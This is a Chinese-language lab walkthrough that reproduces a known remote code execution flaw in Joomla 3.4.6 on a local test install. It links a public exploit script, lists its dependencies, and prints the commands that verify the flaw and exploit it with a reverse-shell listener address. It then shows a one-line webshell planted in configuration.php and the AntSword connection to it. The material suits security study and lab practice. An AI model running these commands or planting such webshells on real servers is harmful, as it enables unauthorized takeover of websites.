#01 Joomla简介
Joomla!是一套自由、开放源代码的内容管理系统,以PHP撰写,用于发布内容在万维网与内部网,通常被用来搭建商业网站、个人博客、信息管理系统、Web 服务等,还可以进行二次开发以扩充使用范围。目前最新版本3.9.11,Joomla!是一套自由的开源软件,使用GPL授权,任何人随时都能下载 Joomla! 并使用。
#02 漏洞简介
在exploit-db( https://www.exploit-db.com/exploits/47465)发布了Joomla命令执行的EXP,漏洞本质是Joomla对session数据处理不当,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,实现远程命令执行,获取服务器权限。影响范围:3.0.0 <= Joomla <= 3.4.6
#03 Joomla环境搭建
1.用phpstudy集成环境搭建即可
●下载joomla3.4.6
Joomla下载地址:https://downloads.joomla.org/it/cms/joomla3/3-4-6
●下载完成之后拖到WWW根目录下,访问:http://127.0.0.1/joomla1(你安装的目录),就会自动跳转到如下安装界面,根据提示进行安装即可!
填入相关信息,点击下一步
用户名和密码,用phpstudy的话,默认用户名密码都是root,随便起一个数据库名,next
这里直接下一步
安装完之后,到这里点击删除安装目录
删除完安装目录,点击网站,或者访问:http://127.0.0.1/joomla1(你的安装目录),就可以访问
访问成功,到此Joomla3.4.6就搭建完成了
2.下载所需EXP:
●推荐下载地址,当然也可以自行下载:
https://github.com/ianxtianxt/Joomla-3.4.6—configuration.php-Remote-Code-Execution
●用python3 执行下载的py脚本,ps:我这里重命名了脚本名字。输入:python3 Joomla-3.4.6-RCE.py -h,查看命令参数,但是发现缺少相关pip,报错了…试了一些办法没解决,所以默默的把截图发给了马丁老师,老师告诉我是缺少了所需要的依赖库,OK恍然大悟!开始安装库,继续操作
●安装相关依赖库:
pip install requests
pip install bs64
pip install termcolor
所需要的pip安装完成,再次执行python3 Joomla-3.4.6-RCE.py -h,查看相关参数
#04 漏洞复现
1.验证漏洞:
python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla1/ -c
注意在127.0.0.1/joomla1 后面一定要加上斜杠,因为脚本里有拼接,否则会利用失败,看到图中圈住的地方,就证明存在该漏洞,接下来开始利用。
2.漏洞利用
python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla1/ -e -l 127.0.0.1 -p 4444
-l +你的ip,-p +端口(可随机,不冲突即可)
这里并没有反弹shell,但是可以看到生成的马的密码,如图。
我们去看一下configuration.php文件是否真的生产了一句话木马。
3.打开configuration.php文件
成功生成了一句话木马,密码和刚才上一张图中的密码一致
4.用蚁剑连接一句话:
地址:http://127.0.0.1/joomla1/configuration.php
成功连接,拿到webshell
#05 总结